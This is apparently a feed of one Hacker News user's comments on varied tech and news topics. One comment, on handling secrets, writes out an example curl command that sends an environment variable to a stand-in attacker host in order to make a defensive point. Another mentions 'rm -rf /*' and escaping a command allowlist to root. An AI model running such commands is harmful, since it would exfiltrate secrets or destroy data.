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New comment by bauruine in "Starlink ground station in Poland hit by fire in suspected arson attack"

bauruine — Thu, 24 Sep 2026 14:28:26 +0000

Those arent't ground stations these are datacenters where Starlink has a pressence for peering with other ISPs.

The ground stations look like this. https://www.srf.ch/static/cms/images/1280w/o-dpr-2/2aa021.we...

New comment by bauruine in "Please don't rearrange our shoes when we turn up, paramedics in Japan urge"

bauruine — Mon, 07 Sep 2026 08:13:12 +0000

>No, water damage

That's what we learned in fire fighting training. Everything that doesn't get destroyed by the fire and smoke will get destroyed by the water you use to put the fire out. A house on fire is lost. You just save people and animals and then you do whatever you need to protect the neighbouring structures.

New comment by bauruine in "Get your Windows license refund"

bauruine — Fri, 28 Aug 2026 18:16:26 +0000

Someone should develop, or vibecode I guess, a Linux tool that does exactly this. A support agent so I can just install it for my mom and she can vaguely write her issues and needs and the agent does it.

New comment by bauruine in "Two German airport workers die of malaria after 'mosquito arrives on plane'"

bauruine — Thu, 27 Aug 2026 19:20:28 +0000

I'm asking about the Dutchman story the parent wrote. I can hardly believe it tbh. Even if the Netherlands don't have specialized personel, Hamburg is just a 5 hour drive away and Antwerp even closer.

New comment by bauruine in "Two German airport workers die of malaria after 'mosquito arrives on plane'"

bauruine — Thu, 27 Aug 2026 19:15:29 +0000

I was thinking about the Swiss Tropical and Public Health Institute and assumed most western countries have something like that. The German Wikipedia article about "Tropeninstitut" mentions the KIT for the Netherlands [0] altough that article sounds way less about medicine than the Swiss one or the German Bernhard Nocht Institute for Tropical Medicine or the Belgian one you mentioned.

[0] https://en.wikipedia.org/wiki/Royal_Tropical_Institute

New comment by bauruine in "Two German airport workers die of malaria after 'mosquito arrives on plane'"

bauruine — Thu, 27 Aug 2026 18:09:52 +0000

Doesn't the Netherlands have some sort of institute of tropical medicine which deals with exactly those cases?

New comment by bauruine in "Buy a train, bridge or tracks from the Swiss Railway"

bauruine — Wed, 10 Jun 2026 14:09:13 +0000

Isn't that propagating with around the speed of light? Switzerland is only about 1 light ms wide so even if they only have one master clock instead of one per train station the latency should be negligible especially in the 1950s.

New comment by bauruine in "I analysed 20 years of my chats"

bauruine — Thu, 28 May 2026 12:02:26 +0000

quantum computers won't save you as they aren't helping you crack symmetric encryption like AES which is most likely used for an encrypted hard disk.

https://words.filippo.io/128-bits/

New comment by bauruine in "A Roblox cheat and one AI tool brought down Vercel's platform"

bauruine — Tue, 21 Apr 2026 06:03:21 +0000

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.

What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

New comment by bauruine in "Microsoft isn't removing Copilot from Windows 11, it's just renaming it"

bauruine — Tue, 14 Apr 2026 05:37:00 +0000

>it costs me nothing to change my vocabulary

It cost reddit a 3 hour outage.

>The nodeSelector and peerSelector for the route reflectors target the label `node-role.kubernetes.io/master`. In the 1.20 series, Kubernetes changed its terminology from “master” to “control-plane.” And in 1.24, they removed references to “master,” even from running clusters. This is the cause of our outage.

https://old.reddit.com/r/RedditEng/comments/11xx5o0/you_brok...

New comment by bauruine in "4Chan mocks £520k fine for UK online safety breaches"

bauruine — Thu, 19 Mar 2026 19:55:29 +0000

The Internet: Where the men are men, the women are men and the children are FBI agents.

New comment by bauruine in "SSH has no Host header"

bauruine — Wed, 18 Mar 2026 07:50:04 +0000

True but a server that wants to "deanonymize" you can just reject each key till he has all the default keys and the ones you added to your ssh agent.

You can try it yourself [0] returns all the keys you send and even shows you your github username if one of the keys is used there.

[0] ssh whoami.filippo.io

New comment by bauruine in "SSH has no Host header"

bauruine — Wed, 18 Mar 2026 06:13:38 +0000

ssh by default sends all your public keys to a server. Yes you can limit some keys to specific hosts but it's very easy to dox yourself.

New comment by bauruine in "Zero-day CSS: CVE-2026-2441 exists in the wild"

bauruine — Thu, 19 Feb 2026 10:06:34 +0000

The NSA surely has ordered a backdoor.

>In December 2013, a Reuters news article alleged that in 2004, before NIST standardized Dual_EC_DRBG, NSA paid RSA Security $10 million in a secret deal to use Dual_EC_DRBG as the default in the RSA BSAFE cryptography library https://en.wikipedia.org/wiki/Dual_EC_DRBG

Call for more Tor snowflake proxies

bauruine — Thu, 05 Feb 2026 17:46:43 +0000

Article URL: https://forum.torproject.org/t/tor-relays-call-for-more-snowflake-proxies/21192

Comments URL: https://news.ycombinator.com/item?id=46902331

Points: 2

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New comment by bauruine in "Reimplementing Tor from Scratch for a Single-Hop Proxy"

bauruine — Wed, 04 Feb 2026 07:32:26 +0000

He uses the keys of his non-exit relay to directly connect from his workstation to an exit relay pretending to be the relay on his VPS. But yeah he could just use the VPS for wireguard which would be way easier.

I'm in Europe so I don't get less than 20Mbit/s on any circuit but I asume he could have got the same speed by just selecting a few local, fast nodes as bridge.

New comment by bauruine in "Allowlisting some Bash commands is often the same as allowlisting all"

bauruine — Thu, 29 Jan 2026 05:04:35 +0000

I had the same few years ago. When I pointed out that I can get full root with most of the whitelisted commands they answered "We know. It's not about security but to prevent lusers from accidentally rm -rf /* the server. Feel free to spawn a root shell. You obviously know what you do"

New comment by bauruine in "Experts warn of growing parrot crisis in Canada [video]"

bauruine — Sat, 17 Jan 2026 07:44:33 +0000

Releasing it is just murder by neglect so people don't feel bad about themself that they actually killed their pet just because "they can't care" for it anymore aka they don't want to deal with the minor inconvenience of caring for a pet anymore. Or worse they become a pest that wipes out whole local ecosystems.

New comment by bauruine in "Experts warn of growing parrot crisis in Canada [video]"

bauruine — Sat, 17 Jan 2026 07:13:50 +0000

You never release exotic pets to the wild. Isn't that common knowledge by now? If you can no longer care for an animal bring it to the vet to get it euthanized.

New comment by bauruine in "A closer look at a BGP anomaly in Venezuela"

bauruine — Thu, 08 Jan 2026 18:11:32 +0000

You don't have to be cloudflare for this kind of analysis you can do it yourself without even needing an ASN using RIPE RIS.

https://www.ripe.net/analyse/internet-measurements/routing-i...